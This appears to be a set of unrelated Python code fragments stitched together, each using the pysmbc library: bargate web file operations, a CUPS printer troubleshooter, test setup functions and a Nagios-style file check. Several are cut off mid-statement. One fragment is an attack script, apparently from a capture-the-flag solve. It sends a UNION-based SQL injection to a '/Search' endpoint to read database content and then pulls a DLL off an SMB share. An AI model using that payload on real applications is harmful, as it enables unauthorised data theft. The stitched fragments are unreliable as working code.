new_filename = request.form['newfilename'] ## Check the new file name is valid try: bargate.lib.smb.check_name(new_filename) except ValueError as e: return bargate.lib.errors.invalid_name() ## build new URI new_filename_as_str = urllib.quote(new_filename.encode('utf-8')) if parent_directory: new_uri_as_str = srv_path_as_str + parent_directory_path_as_str + '/' + new_filename_as_str else: new_uri_as_str = srv_path_as_str + new_filename_as_str ## get the item type of the existing 'filename' itemType = bargate.lib.smb.getEntryType(libsmbclient,uri_as_str) if itemType == bargate.lib.smb.SMB_FILE: typemsg = "The file" elif itemType == bargate.lib.smb.SMB_DIR: typemsg = "The directory" else: return bargate.lib.errors.invalid_item_type(error_redirect) try: app.logger.debug("libsmbclient.rename('{}','{}')".format(uri_as_str,new_uri_as_str)) libsmbclient.rename(uri_as_str,new_uri_as_str) except Exception as ex: return bargate.lib.errors.smbc_handler(ex,uri,error_redirect) else: flash(typemsg + " '" + entryname + "' was renamed to '" + request.form['newfilename'] + "' successfully.",'alert-success') return parent_redirect ################################################################################ # COPY FILE ################################################################################ elif action == 'copy': try: ## stat the source file first app.logger.debug("libsmbclient.stat('{}')".format(uri_as_str)) source_stat = libsmbclient.stat(uri_as_str) ## size of source source_size = source_stat[6] ## determine item type itemType = bargate.lib.smb.statToType(source_stat) ## ensure item is a file if not itemType == SMB_FILE: return bargate.lib.errors.invalid_item_copy(error_redirect) except Exception as ex: return bargate.lib.errors.smbc_handler(ex,uri,error_redirect) ## Get the new filename dest_filename = request.form['filename'] ## Check the new file name is valid try: bargate.lib.smb.check_name(request.form['filename']) except ValueError as e: return bargate.lib.errors.invalid_name(error_redirect) ## encode the new filename and quote the new filename if parent_directory: dest = srv_path_as_str + parent_directory_path_as_str + '/' + urllib.quote(dest_filename.encode('utf-8')) else: dest = srv_path_as_str + urllib.quote(dest_filename.encode('utf-8')) ## Make sure the dest file doesn't exist try: app.logger.debug("libsmbclient.stat('{}')".format(dest)) libsmbclient.stat(dest) except smbc.NoEntryError as ex: ## This is what we want - i.e. no file/entry pass except Exception as ex: return bargate.lib.errors.smbc_handler(ex,uri,error_redirect) ## Assuming we got here without an exception, open the source file try: app.logger.debug("libsmbclient.open('{}')".format(uri_as_str)) source_fh = libsmbclient.open(uri_as_str) except Exception as ex: return bargate.lib.errors.smbc_handler(ex,uri,error_redirect) ## Assuming we got here without an exception, open the dest file try: app.logger.debug("libsmbclient.open('{}', os.O_CREAT | os.O_WRONLY | os.O_TRUNC)".format(dest)) dest_fh = libsmbclient.open(dest, os.O_CREAT | os.O_WRONLY | os.O_TRUNC ) except Exception as ex: return bargate.lib.errors.smbc_handler(ex,srv_path + dest,error_redirect) ## try reading then writing blocks of data, then redirect! try: location = 0 while(location >= 0 and location < source_size): chunk = source_fh.read(1024) dest_fh.write(chunk) location = source_fh.seek(1024,location) except Exception as ex: return bargate.lib.errors.smbc_handler(ex,srv_path + dest,error_redirect) flash('A copy of "' + entryname + '" was created as "' + dest_filename + '"','alert-success') return parent_redirect ################################################################################ # MAKE DIR ################################################################################ elif action == 'mkdir': ## Check the path is valid try: bargate.lib.smb.check_name(request.form['directory_name']) except ValueError as e: return bargate.lib.errors.invalid_name(error_redirect) mkdir_uri = uri_as_str + '/' + urllib.quote(request.form['directory_name'].encode('utf-8')) try: app.logger.debug("libsmbclient.mkdir('{}',0755)".format(mkdir_uri)) libsmbclient.mkdir(mkdir_uri,0755) except Exception as ex: return bargate.lib.errors.smbc_handler(ex,uri,error_redirect) else: flash("The folder '" + request.form['directory_name'] + "' was created successfully.",'alert-success') return redirect(url_for(func_name,path=path)) ################################################################################ # DELETE FILE ################################################################################ elif action == 'unlink': uri = uri.encode('utf-8') ## get the item type of the entry we've been asked to delete itemType = bargate.lib.smb.getEntryType(libsmbclient,uri_as_str) if itemType == bargate.lib.smb.SMB_FILE: try: app.logger.debug("libsmbclient.unlink('{}')".format(uri_as_str)) libsmbclient.unlink(uri_as_str) except Exception as ex: return bargate.lib.errors.smbc_handler(ex,uri,error_redirect) else: flash("The file '" + entryname + "' was deleted successfully.",'alert-success') return parent_redirect elif itemType == bargate.lib.smb.SMB_DIR: try: app.logger.debug("libsmbclient.rmdir('{}')".format(uri_as_str)) libsmbclient.rmdir(uri_as_str) except Exception as ex: return bargate.lib.errors.smbc_handler(ex,uri,error_redirect) else: flash("The directory '" + entryname + "' was deleted successfully.",'alert-success') return parent_redirect else: return bargate.lib.errors.invalid_item_type(error_redirect) else: abort(400)
def display(self): # Collect useful information. self.answers = {} answers = self.troubleshooter.answers if ('remote_server_name' not in answers and 'remote_server_ip_address' not in answers): return False parent = self.troubleshooter.get_window() server_name = answers['remote_server_name'] server_port = answers.get('remote_server_port', 631) try_connect = False if server_name: # Try resolving the hostname. try: ai = socket.getaddrinfo(server_name, server_port) resolves = [ family_socktype_proto_canonname_sockaddr[4][0] for family_socktype_proto_canonname_sockaddr in ai ] try_connect = True except socket.gaierror: resolves = False self.answers['remote_server_name_resolves'] = resolves ipaddr = answers.get('remote_server_ip_address', '') if resolves: if ipaddr: try: resolves.index(ipaddr) except ValueError: # The IP address given doesn't match the server name. # Use the IP address instead of the name. server_name = ipaddr try_connect = True elif ipaddr: server_name = ipaddr try_connect = True else: server_name = answers['remote_server_ip_address'] # Validate it. try: ai = socket.getaddrinfo(server_name, server_port) resolves = [ family_socktype_proto_canonname_sockaddr1[4][0] for family_socktype_proto_canonname_sockaddr1 in ai ] except socket.gaierror: resolves = False self.answers['remote_server_name_resolves'] = resolves try_connect = True self.answers['remote_server_try_connect'] = server_name if (try_connect and answers.get('cups_device_uri_scheme', 'ipp') in ['ipp', 'http', 'https']): if answers.get('cups_device_uri_scheme') == 'https': encryption = cups.HTTP_ENCRYPT_REQUIRED else: encryption = cups.HTTP_ENCRYPT_IF_REQUESTED try: self.op = TimedOperation(cups.Connection, kwargs={ "host": server_name, "port": server_port, "encryption": encryption }, parent=parent) c = self.op.run() ipp_connect = True except RuntimeError: ipp_connect = False self.answers['remote_server_connect_ipp'] = ipp_connect if ipp_connect: try: self.op = TimedOperation(c.getPrinters, parent=parent) self.op.run() cups_server = True except: cups_server = False self.answers['remote_server_cups'] = cups_server if cups_server: cups_printer_dict = answers.get('cups_printer_dict', {}) uri = cups_printer_dict.get('device-uri', None) if uri: try: self.op = TimedOperation(c.getPrinterAttributes, kwargs={"uri": uri}, parent=parent) attr = self.op.run() self.answers['remote_cups_queue_attributes'] = attr except: pass if try_connect: # Try to see if we can connect using smbc. context = None try: context = smbc.Context() name = self.answers['remote_server_try_connect'] self.op = TimedOperation(context.opendir, args=("smb://%s/" % name, ), parent=parent) dir = self.op.run() self.op = TimedOperation(dir.getdents, parent=parent) shares = self.op.run() self.answers['remote_server_smb'] = True self.answers['remote_server_smb_shares'] = shares except NameError: # No smbc support pass except RuntimeError as e: (e, s) = e.args self.answers['remote_server_smb_shares'] = (e, s) if context != None and 'cups_printer_dict' in answers: uri = answers['cups_printer_dict'].get('device-uri', '') u = smburi.SMBURI(uri) (group, host, share, user, password) = u.separate() accessible = False try: self.op = TimedOperation( context.open, args=("smb://%s/%s" % (host, share), os.O_RDWR, 0o777), parent=parent) f = self.op.run() accessible = True except RuntimeError as e: (e, s) = e.args accessible = (e, s) self.answers[ 'remote_server_smb_share_anon_access'] = accessible # Try traceroute if we haven't already. if (try_connect and 'remote_server_traceroute' not in answers): try: self.op = TimedSubprocess( parent=parent, close_fds=True, args=['traceroute', '-w', '1', server_name], stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.answers['remote_server_traceroute'] = self.op.run() except: # Problem executing command. pass return False
base_url + '/Search?query=1%27+and+1%3D0+union+select+1%2C2%2CContent%2C4%2Cnull%2Cnull+from+Reviews+where+id%3D11+--+-', headers=headers, cookies=cookies) r = requestDebug(s, req) img = BeautifulSoup(r.text, 'lxml').find('img', {'src': '2'}).get('alt') path = img.split('\n')[3].split()[3] srcfile = 'smb://my.nas/share/' + '/'.join( path.split('\\')[1:-2]) + '/bin/Debug/netcoreapp1.1/CFlix.dll' myDebug(srcfile) # # Get file from SMB # ctx = smbc.Context(auth_fn=do_auth) source = ctx.open(srcfile, os.O_RDONLY) destfile = 'CFlix.dll' f = open(destfile, 'wb') f.write(source.read()) f.close() source.close() # # Extract zip file CFlix.dll.zip from resources in CFlix.dll # pe = pefile.PE('CFlix.dll') #for section in pe.sections: # print(section.Name)
def setUp(): global ctx ctx = smbc.Context() ctx.optionNoAutoAnonymousLogin = True ctx.functionAuthData = auth_fn
def __init__(self, smb_auth_fnc): self._ctx = smbc.Context(auth_fn=smb_auth_fnc, debug=0) self._ctx.optionDebugToStderr = False
def _setup(self): self.ctx = smbc.Context() #self.ctx.timeout = 100000 self.ctx.optionNoAutoAnonymousLogin = True self.ctx.functionAuthData = _g_auth_cb_fn #setup user/pass/dom
def main(argv): hostaddress = None warning = None critical = None username = None password = None domain = None filters = None path = None maxlen = 256 try: opts, args = getopt.getopt(sys.argv[1:], "hH:P:U:p:a:w:c:f:") for o, a in opts: if o == '-H': hostaddress = a elif o == '-P': path = a elif o == '-w': warning = getbytes(a) elif o == '-c': critical = getbytes(a) elif o == '-U': username = a elif o == '-p': password = a elif o == '-a': (username, password, domain) = auth_file(a) if domain is not None: username = "******" % (domain, username) elif o == '-f': filters = a elif o == '-h': raise CheckUnknown("Help", addl=usage()) else: raise CheckUnknown("Unknown Argument", addl=usage()) if hostaddress is None: raise CheckUnknown("Host Address not defined") if username is None: raise CheckUnknown("Auth data not defined") if path is None: raise CheckUnknown("Path for files needed") def auth(srv, shr, wkg, u, p): return (domain, username, password) context = smbc.Context(auth_fn=auth) filedata = getfiles(context, "smb://%s/%s" % (hostaddress, path), warning, critical, filters) critical_files = len(filedata['critical']) warning_files = len(filedata['warning']) addl = "" for l in map(addl_str, filedata['critical']): if len(addl) > maxlen: addl += "(more critical files ... truncating)\n" break addl += l for l in map(addl_str, filedata['warning']): if len(addl) > maxlen: addl += "(more warning files... truncating)\n" break addl += l if critical_files > 0: raise CheckCritical("%d Files larger than %s bytes found" % (critical_files, critical), addl=addl) elif warning_files > 0: raise CheckWarning("%d Files larger than %s bytes found" % (warning_files, warning), addl=addl) out = CheckResult("Files Checked") except CheckWarning as e: out = e.result except CheckCritical as e: out = e.result except CheckUnknown as e: out = e.result except Exception as e: exc_type, exc_obj, tb = sys.exc_info() traceback_info = traceback.extract_tb(tb) out = CheckResult("Error: %s at line %s" % (str(e), tb.tb_lineno), addl=traceback_info.format, status=3, status_str="UNKNOWN") print(out) exit(out.status)